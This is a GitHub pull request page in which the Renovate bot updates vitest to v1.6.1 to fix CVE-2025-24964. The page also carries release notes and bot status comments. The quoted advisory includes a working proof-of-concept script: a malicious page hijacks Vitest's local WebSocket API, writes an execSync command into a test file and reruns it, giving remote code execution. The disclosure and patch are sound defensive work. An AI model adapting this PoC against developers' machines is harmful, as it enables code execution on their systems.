Skip to content

chore(deps): update dependency vitest to v1.6.1 [security] #78

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Open
renovate wants to merge 1 commit into
base: main
Choose a base branch
from
Open

chore(deps): update dependency vitest to v1.6.1 [security] #78

renovate wants to merge 1 commit into from
+1,160 −1,620

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025 •
edited
Loading

Note: This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.0.4 → 1.6.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features
  • api: startVitest() to accept stdout and stdin  -  by @​AriPerkkio in #​5493 (780b1)
    • This is listed as a feature, but it doesn't increase the minor version because startVitest API is experimental and doesn't follow semver.
   🐞 Bug Fixes
    View changes on GitHub

v1.5.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.0

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

v1.2.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from sullivanpj as a code owner February 4, 2025 17:41
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 679fd2a to 5a8c7f5 Compare August 10, 2025 13:10
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 5a8c7f5 to 08f77f5 Compare December 6, 2025 13:19
@renovate renovate bot requested a review from a team December 6, 2025 13:19
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 08f77f5 to 50288fa Compare December 17, 2025 07:48
@renovate renovate bot changed the title fix(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] Dec 17, 2025
@deepsource-io
Copy link

deepsource-io bot commented Dec 17, 2025 •
edited
Loading

Here's the code health analysis summary for commits fb59a67..5406557. View details on DeepSource ↗.

Analysis Summary

AnalyzerStatusSummaryLink
DeepSource JavaScript LogoJavaScript✅ SuccessView Check ↗
DeepSource Shell LogoShell✅ SuccessView Check ↗
💡 If you’re a repository administrator, you can configure the quality gates from the settings.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 50288fa to 363d634 Compare December 18, 2025 21:47
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 363d634 to 5406557 Compare December 31, 2025 14:55
@socket-security
Copy link

socket-security bot commented Dec 31, 2025

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security		 Vulnerability Quality Maintenance License
Added@​oclif/​prettier-config@​0.2.1951006080100
Added@​powerlines/​tsconfig@​0.2.437010010098100
Added@​powerlines/​plugin-plugin@​0.12.277410010098100
Added@​oclif/​plugin-help@​6.2.361001007791100
Added@​powerlines/​nx@​0.10.68781009997100
Added@​monodon/​rust@​2.3.09010010080100
Added@​ls-lint/​ls-lint@​2.3.11001008982100
Added@​oclif/​core@​3.27.09510010089100
Added@​oclif/​test@​3.2.1510010010090100
Added@​nx/​web@​22.3.11001009299100
Added@​nx/​workspace@​22.3.1991009299100
Added@​nx/​storybook@​22.3.1991009299100
Added@​nx/​eslint-plugin@​22.3.1981009299100
Added@​nx/​devkit@​22.3.1981009399100
Added@​nx/​vite@​22.3.1981009399100
Added@​nx/​react@​22.3.1991009399100
Added@​nx/​js@​22.3.1971009399100
Added@​nx/​plugin@​22.3.11001009399100
Added@​oclif/​plugin-plugins@​5.4.549910010093100

View full report

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@sullivanpj sullivanpj Awaiting requested review from sullivanpj sullivanpj is a code owner

At least 1 approving review is required to merge this pull request.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant